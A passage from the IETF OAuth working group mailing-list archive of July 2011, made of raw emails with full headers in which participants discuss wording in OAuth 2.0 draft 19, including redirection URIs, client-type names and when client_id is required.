p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 15:39:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.20]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Mon, 25 Jul 2011 08:39:24 -0700 From: Eran Hammer-Lahav To: Lucy Lynch , Peter Saint-Andre Date: Mon, 25 Jul 2011 08:38:47 -0700 Thread-Topic: [OAUTH-WG] Draft -19 Thread-Index: AcxK0UicNfsuhQRVSkusUjj3S5pFoAAD4bnw Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345023C0B3A3@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D5F94.9020207@stpeter.im> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:17:23 -0000 The term Redirection URI describes the URI provided by the client throughou= t the document. The additional parameters added later by the authorization = server are part of the redirection request but not the URI provided by the = client. EHL > -----Original Message----- > From: Lucy Lynch [mailto:llynch@civil-tongue.net] > Sent: Monday, July 25, 2011 6:46 AM > To: Peter Saint-Andre > Cc: Eran Hammer-Lahav; OAuth WG > Subject: Re: [OAUTH-WG] Draft -19 >=20 > On Mon, 25 Jul 2011, Peter Saint-Andre wrote: >=20 > > On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: > >> Draft 19 includes all the feedback received for -18: > > > > BTW, the diff is here: > > > > http://tools.ietf.org/rfcdiff?url2=3Ddraft-ietf-oauth-v2-19.txt >=20 >=20 > clarifying question on section 10.1 - >=20 > I'm reading this as suggested handling for the Client URI portion of a > redirection endpoint - is that correct? >=20 > > /psa > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > > From eran@hueniverse.com Mon Jul 25 09:17:26 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id F1A0A21F8D53 for ; Mon, 25 Jul 2011 09:17:25 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.554 X-Spam-Level: X-Spam-Status: No, score=-2.554 tagged_above=-999 required=5 tests=[AWL=0.045, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id c9W9JqHIzh3S for ; Mon, 25 Jul 2011 09:17:25 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id CB19521F8F33 for ; Mon, 25 Jul 2011 08:47:59 -0700 (PDT) Received: (qmail 23573 invoked from network); 25 Jul 2011 15:47:58 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 15:47:58 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 08:47:45 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Mon, 25 Jul 2011 08:47:08 -0700 Thread-Topic: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) Thread-Index: AcxK1cXbhVJhh9k6Rk+b4SkYEqmfGQAC0hRA Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F574F@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274554.5070606@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D7B3F.10001@lodderstedt.net> In-Reply-To: <4E2D7B3F.10001@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:17:26 -0000 > -----Original Message----- > From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > Sent: Monday, July 25, 2011 7:19 AM > To: Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) >=20 > Hi Eran, >=20 > Am 25.07.2011 03:28, schrieb Eran Hammer-Lahav: > > > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > >> Behalf Of Torsten Lodderstedt > >> Sent: Wednesday, July 20, 2011 2:15 PM "The authorization server > >> redirects the user-agent to the > >> client's redirection URI previously established with the > >> authorization server during the client registration process." > >> > >> Conflicts with section 3.1.2.3, which allows to pass a redirect_uri > >> via URI query parameter. > > Added 'or when initiating the authorization request' > > > >> 3.1.2.1 Endpoint Confidentiality > >> > >> What does "endpoint" confidentiality mean? Which endpoint does this > >> text refer to? The client's redirect_uri endpoint? > > This is a sub-section of the Redirection URI endpoint. >=20 > ok, but how can an endpoint be confidential? Good point. I'll change it to 'Endpoint Request Confidentiality'. > >> 3.1.2.5. Endpoint Content > >> > >> As this section discusses security aspects of the client's > >> implementation of the redirect_uri page, shouldn't this go to the > >> security considerations section? > > I think it is important enough to appear earlier. It is part of my effo= rt to > integrate concrete normative language from the security sections up to th= e > protocol sections. > > >=20 > Understood and in support for this approach. Wouldn't this mean to remove > some text from section 10 in order to prevent redundancies? Which text? Duplication of security text is fine as long as it is consisten= t. > Regarding this particular section: I think the two different issues (tran= sport > security and endpoint authenticity) should be presented separately. Which section? EHL From eran@hueniverse.com Mon Jul 25 09:17:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A241B21F8ACC for ; Mon, 25 Jul 2011 09:17:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.554 X-Spam-Level: X-Spam-Status: No, score=-2.554 tagged_above=-999 required=5 tests=[AWL=0.045, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id PdeXuMCf1XcQ for ; Mon, 25 Jul 2011 09:17:38 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 90CCA21F8F79 for ; Mon, 25 Jul 2011 08:55:48 -0700 (PDT) Received: (qmail 9297 invoked from network); 25 Jul 2011 15:55:48 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 15:55:48 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 08:55:34 -0700 From: Eran Hammer-Lahav To: Justin Richer Date: Mon, 25 Jul 2011 08:54:58 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxK4u2G3jj5m2F6Q3OCAuUWP6hLPwAADgGA Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5757@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345021F378B9@P3PW5EX1MB01.EX1.SECURESERVER.NET> <1311604831.24841.11.camel@ground> In-Reply-To: <1311604831.24841.11.camel@ground> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:17:38 -0000 SSdsbCBzd2l0Y2ggdG8gY29uZmlkZW50aWFsL3B1YmxpYy4NCg0KRUhMDQoNCj4gLS0tLS1Pcmln aW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogSnVzdGluIFJpY2hlciBbbWFpbHRvOmpyaWNoZXJA bWl0cmUub3JnXQ0KPiBTZW50OiBNb25kYXksIEp1bHkgMjUsIDIwMTEgNzo0MSBBTQ0KPiBUbzog RXJhbiBIYW1tZXItTGFoYXYNCj4gQ2M6IGVyYW5Ac2xlZC5jb207IFRvcnN0ZW4gTG9kZGVyc3Rl ZHQ7IE9BdXRoIFdHDQo+IFN1YmplY3Q6IFJlOiBbT0FVVEgtV0ddIElzc3VlIDE1LCBuZXcgY2xp ZW50IHJlZ2lzdHJhdGlvbg0KPiANCj4gSSB3b3VsZCBhdm9pZCB1c2luZyB0aGUgdGVybSAib3Bl biIgaGVyZSBhcyBpdCBoYXMgb3RoZXIgZGVlcC1zZWF0ZWQNCj4gbWVhbmluZ3MgaW4gdGhlIHNv ZnR3YXJlIHdvcmxkLCBwYXJ0aWN1bGFybHkgd2l0aCByZWdhcmQgdG8gT3BlbiBTb3VyY2UgYW5k DQo+IE9wZW4gU3RhbmRhcmQgc3R1ZmYuIEZXSVcsIEkgdGhpbmsgImNvbmZpZGVudGlhbC9wdWJs aWMiIG9yICJwcml2YXRlL3B1YmxpYyINCj4gYXJlIHNlcnZpY2VhYmxlLg0KPiANCj4gIC0tIEp1 c3Rpbg0KPiANCj4gT24gTW9uLCAyMDExLTA3LTI1IGF0IDAyOjQ1IC0wNDAwLCBFcmFuIEhhbW1l ci1MYWhhdiB3cm90ZToNCj4gPiBIb3cgYWJvdXQgY29uZmlkZW50aWFsL29wZW4/DQo+ID4NCj4g PiBFSEwNCj4gPg0KPiA+ID4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gPiA+IEZyb206 IG9hdXRoLWJvdW5jZXNAaWV0Zi5vcmcgW21haWx0bzpvYXV0aC1ib3VuY2VzQGlldGYub3JnXSBP bg0KPiA+ID4gQmVoYWxmIE9mIEVyYW4gSGFtbWVyLUxhaGF2DQo+ID4gPiBTZW50OiBGcmlkYXks IEp1bHkgMjIsIDIwMTEgMjoxMiBQTQ0KPiA+ID4gVG86IFRvcnN0ZW4gTG9kZGVyc3RlZHQ7IE9B dXRoIFdHDQo+ID4gPiBTdWJqZWN0OiBSZTogW09BVVRILVdHXSBJc3N1ZSAxNSwgbmV3IGNsaWVu dCByZWdpc3RyYXRpb24NCj4gPiA+DQo+ID4gPg0KPiA+ID4NCj4gPiA+ID4gLS0tLS1PcmlnaW5h bCBNZXNzYWdlLS0tLS0NCj4gPiA+ID4gRnJvbTogb2F1dGgtYm91bmNlc0BpZXRmLm9yZyBbbWFp bHRvOm9hdXRoLWJvdW5jZXNAaWV0Zi5vcmddIE9uDQo+ID4gPiA+IEJlaGFsZiBPZiBUb3JzdGVu IExvZGRlcnN0ZWR0DQo+ID4gPiA+IFNlbnQ6IFdlZG5lc2RheSwgSnVseSAyMCwgMjAxMSAxOjU5 IFBNDQo+ID4gPiA+IFRvOiBPQXV0aCBXRw0KPiA+ID4gPiBTdWJqZWN0OiBSZTogW09BVVRILVdH XSBJc3N1ZSAxNSwgbmV3IGNsaWVudCByZWdpc3RyYXRpb24NCj4gPiA+ID4NCj4gPiA+ID4gMi4x IENsaWVudCB0eXBlcw0KPiA+ID4gPg0KPiA+ID4gPiBJJ20gc3RydWdnZWxpbmcgd2l0aCB0aGUg bmV3IHRlcm1pbm9sb2d5IG9mICJwcml2YXRlIiBhbmQgInB1YmxpYyINCj4gPiA+ID4gY2xpZW50 cy4gSW4gbXkgcGVyY2VwdGlvbiwgdGhlIHRleHQganVzdCBkaXN0aW5ndWlzaGVzIGNsaWVudHMN Cj4gPiA+ID4gd2hpY2ggY2FuIGJlIGF1dGhlbnRpY2F0ZWQgYW5kIHN1Y2ggd2hpY2ggY2Fubm90 LiBUaGlzIGlzIGZpbmUgYnV0DQo+ID4gPiA+IEkgY29uc2lkZXIgdGhlIHdvcmRpbmcgbWlzbGVh ZGluZy4gSSB3b3VsZCBzdWdnZXN0IHRvIGNoYW5nZSBpdCB0bw0KPiA+ID4gPiBzb21ldGhpbmcg bGlrZSB0cnVzdGVkL3VudHJ1c3RlZCBvciBhdXRoZW50aWNhdGVkL3VuYXV0aGVudGljYXRlZA0K PiA+ID4gPiBvcg0KPiA+ID4gVmVyaWZpYWJsZS9Gb3JnZWFibGUuDQo+ID4gPg0KPiA+ID4gSSdt IG9wZW4gdG8gY2hhbmdpbmcgdGhlIG5hbWVzLg0KPiA+ID4NCj4gPiA+IEkgZG9uJ3QgbGlrZSB0 cnVzdGVkL3VudHJ1c3RlZCBiZWNhdXNlIE9BdXRoIGRvZXMgbm90IGRlZmluZSB0cnVzdC4NCj4g PiA+IFRoZSBhdXRoZW50aWNhdGVkL3VuYXV0aGVudGljYXRlZCBwYWlyIGlzIGFsc28gbm90IGlk ZWFsIGJlY2F1c2UgdGhlDQo+ID4gPiB0ZXJtcyBkZXNjcmliZSB0aGUgb3V0Y29tZSwgbm90IHRo ZSBuYXR1cmUgb2YgdGhlIGNsaWVudC4gQXMgZm9yDQo+ID4gPiB2ZXJpZmlhYmxlL2ZvcmdlYWJs ZSwgSSB0aGluayB0aGVzZSB0ZXJtcyBhcmUgdG9vIGNvbXBsaWNhdGVkIGZvciBhDQo+ID4gPiBj YXN1YWwgcmVhZGVyLg0KPiA+ID4NCj4gPiA+IE15IGludGVudGlvbiB3aXRoIHB1YmxpYy9wcml2 YXRlIGlzIHRvIGlkZW50aWZ5IHRoZSBuYXR1cmUgb2YgdGhlDQo+ID4gPiBjbGllbnQgY3JlZGVu dGlhbHMuIFNvIGEgbW9yZSB2ZXJib3NlIHZlcnNpb24gd291bGQgYmUgJ3B1YmxpYw0KPiA+ID4g Y3JlZGVudGlhbHMvcHJpdmF0ZSBjcmVkZW50aWFscycuIFRoaXMgYWxzbyB3b3JrcyB3aXRoICdj b2RlJyBpbnN0ZWFkIG9mDQo+ICdjcmVkZW50aWFscycuDQo+ID4gPg0KPiA+ID4gSXQncyBjbGVh ciBmcm9tIHRoZSBwYXN0IHllYXIgb2YgZGlzY3Vzc2lvbnMgdGhhdCB3ZSBuZWVkDQo+ID4gPiB0 ZXJtaW5vbG9neSB0byBkZXNjcmliZSB0aGVzZSB0d28gdHlwZXMuDQo+ID4gPg0KPiA+ID4gQW55 IG90aGVyIHN1Z2dlc3Rpb25zPw0KPiA+ID4NCj4gPiA+IEVITA0KPiA+ID4gX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCj4gPiA+IE9BdXRoIG1haWxpbmcg bGlzdA0KPiA+ID4gT0F1dGhAaWV0Zi5vcmcNCj4gPiA+IGh0dHBzOi8vd3d3LmlldGYub3JnL21h aWxtYW4vbGlzdGluZm8vb2F1dGgNCj4gPiBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fXw0KPiA+IE9BdXRoIG1haWxpbmcgbGlzdA0KPiA+IE9BdXRoQGlldGYu b3JnDQo+ID4gaHR0cHM6Ly93d3cuaWV0Zi5vcmcvbWFpbG1hbi9saXN0aW5mby9vYXV0aA0KPiAN Cg0K From eran@hueniverse.com Mon Jul 25 09:25:53 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B064B21F85A8 for ; Mon, 25 Jul 2011 09:25:53 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.555 X-Spam-Level: X-Spam-Status: No, score=-2.555 tagged_above=-999 required=5 tests=[AWL=0.044, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hE7kZBSY5wTG for ; Mon, 25 Jul 2011 09:25:53 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id EAC2D21F85EE for ; Mon, 25 Jul 2011 09:25:49 -0700 (PDT) Received: (qmail 24407 invoked from network); 25 Jul 2011 16:25:49 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 16:25:48 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 09:25:37 -0700 From: Eran Hammer-Lahav To: Brian Campbell , oauth Date: Mon, 25 Jul 2011 09:25:01 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxK5wmOcB8KzQm/SFClasEHZhWm0gAACsRQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:25:53 -0000 client_id is only required on the authorization endpoint, not the token end= point. -18 cleaned up how the document talked about client authentication i= n general. So you should remove client_id from your draft and instead menti= on client authentication (if appropriate). EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Brian Campbell > Sent: Monday, July 25, 2011 7:02 AM > To: oauth > Subject: [OAUTH-WG] treatment of client_id for authentication and > identification >=20 > I need to revisit a question that came up about two months ago. I though= t I > had a clear understanding of when client_id was and wasn't included in > access token requests but drafts 18/19 seemed to have changed things (or > my understanding of 16 was wrong). >=20 >=20 > The question is, when is client_id a required parameter on requests to th= e > token endpoint and when can/should it be omitted? >=20 > In -16 I was under the impression that client_id was always to be include= d > even when using HTTP Basic or other means of authentication. > See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and > http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for > example. >=20 > But the text and examples in -18/-19 would suggest that client_id is to b= e > omitted when using HTTP Basic. Text in > http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and examp= le > in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 >=20 > I don't have a strong preference for either direction but do feel it need= s to > be more explicitly spelled out. Scenarios that should be accounted for a= re, > for both clients in possession of a client password and clients without, = using > client_id/client_secret, using HTTP Basic and using other means of > authentication/identification. > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From bcampbell@pingidentity.com Mon Jul 25 09:28:55 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 979A45E800A for ; Mon, 25 Jul 2011 09:28:55 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.948 X-Spam-Level: X-Spam-Status: No, score=-5.948 tagged_above=-999 required=5 tests=[AWL=0.029, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Us-Nk4EhP-WS for ; Mon, 25 Jul 2011 09:28:55 -0700 (PDT) Received: from na3sys009aog103.obsmtp.com (na3sys009aog103.obsmtp.com [74.125.149.71]) by ietfa.amsl.com (Postfix) with ESMTP id 9F93E21F87AF for ; Mon, 25 Jul 2011 09:28:54 -0700 (PDT) Received: from mail-qw0-f51.google.com ([209.85.216.51]) (using TLSv1) by na3sys009aob103.postini.com ([74.125.148.12]) with SMTP ID DSNKTi2ZxTNivDcJS9yA9QmGL7j5aEZOHhoT@postini.com; Mon, 25 Jul 2011 09:28:54 PDT Received: by mail-qw0-f51.google.com with SMTP id 7so2608640qwf.10 for ; Mon, 25 Jul 2011 09:28:53 -0700 (PDT) Received: by 10.224.31.147 with SMTP id y19mr3587194qac.243.1311611333284; Mon, 25 Jul 2011 09:28:53 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Mon, 25 Jul 2011 09:28:23 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Mon, 25 Jul 2011 10:28:23 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:28:55 -0000 How should HTTP Basic be used for a client not in possession of a client secret? On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav w= rote: > client_id is only required on the authorization endpoint, not the token e= ndpoint. -18 cleaned up how the document talked about client authentication= in general. So you should remove client_id from your draft and instead men= tion client authentication (if appropriate). > > EHL > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> Of Brian Campbell >> Sent: Monday, July 25, 2011 7:02 AM >> To: oauth >> Subject: [OAUTH-WG] treatment of client_id for authentication and >> identification >> >> I need to revisit a question that came up about two months ago. =A0I tho= ught I >> had a clear understanding of when client_id was and wasn't included in >> access token requests but drafts 18/19 seemed to have changed things (or >> my understanding of 16 was wrong). >> >> >> The question is, when is client_id a required parameter on requests to t= he >> token endpoint and when can/should it be omitted? >> >> In -16 I was under the impression that client_id was always to be includ= ed >> even when using HTTP Basic or other means of authentication. >> See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and >> http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for >> example. >> >> But the text and examples in -18/-19 would suggest that client_id is to = be >> omitted when using HTTP Basic. =A0Text in >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and exam= ple >> in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 >> >> I don't have a strong preference for either direction but do feel it nee= ds to >> be more explicitly spelled out. =A0Scenarios that should be accounted fo= r are, >> for both clients in possession of a client password and clients without,= using >> client_id/client_secret, using =A0HTTP Basic and using other means of >> authentication/identification. >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > From eran@hueniverse.com Mon Jul 25 09:51:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 04FDA21F857D for ; Mon, 25 Jul 2011 09:51:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.555 X-Spam-Level: X-Spam-Status: No, score=-2.555 tagged_above=-999 required=5 tests=[AWL=0.044, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7xGPMZqXdYG0 for ; Mon, 25 Jul 2011 09:51:18 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 6EDF021F854C for ; Mon, 25 Jul 2011 09:51:15 -0700 (PDT) Received: (qmail 1390 invoked from network); 25 Jul 2011 16:51:14 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 16:51:14 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 09:51:13 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Mon, 25 Jul 2011 09:50:35 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxK6AAWV73zX38YRQyUwlM2z3xiDwAAtsPg Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5799@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:51:19 -0000 It shouldn't. You are still allowed to reuse client_id outside the specific= password credentials use case. Just make sure the way the parameter is def= ined in v2 is consistent. EHL > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Monday, July 25, 2011 9:28 AM > To: Eran Hammer-Lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification >=20 > How should HTTP Basic be used for a client not in possession of a client > secret? >=20 >=20 >=20 > On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav > wrote: > > client_id is only required on the authorization endpoint, not the token > endpoint. -18 cleaned up how the document talked about client > authentication in general. So you should remove client_id from your draft > and instead mention client authentication (if appropriate). > > > > EHL > > > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > >> Behalf Of Brian Campbell > >> Sent: Monday, July 25, 2011 7:02 AM > >> To: oauth > >> Subject: [OAUTH-WG] treatment of client_id for authentication and > >> identification > >> > >> I need to revisit a question that came up about two months ago. =A0I > >> thought I had a clear understanding of when client_id was and wasn't > >> included in access token requests but drafts 18/19 seemed to have > >> changed things (or my understanding of 16 was wrong). > >> > >> > >> The question is, when is client_id a required parameter on requests > >> to the token endpoint and when can/should it be omitted? > >> > >> In -16 I was under the impression that client_id was always to be > >> included even when using HTTP Basic or other means of authentication. > >> See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and > >> http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for > >> example. > >> > >> But the text and examples in -18/-19 would suggest that client_id is > >> to be omitted when using HTTP Basic. =A0Text in > >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and > >> example in > >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 > >> > >> I don't have a strong preference for either direction but do feel it > >> needs to be more explicitly spelled out. =A0Scenarios that should be > >> accounted for are, for both clients in possession of a client > >> password and clients without, using client_id/client_secret, using > >> HTTP Basic and using other means of authentication/identification. > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > > From internet-drafts@ietf.org Mon Jul 25 10:10:40 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0A74C21F861A; Mon, 25 Jul 2011 10:10:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.577 X-Spam-Level: X-Spam-Status: No, score=-102.577 tagged_above=-999 required=5 tests=[AWL=0.022, 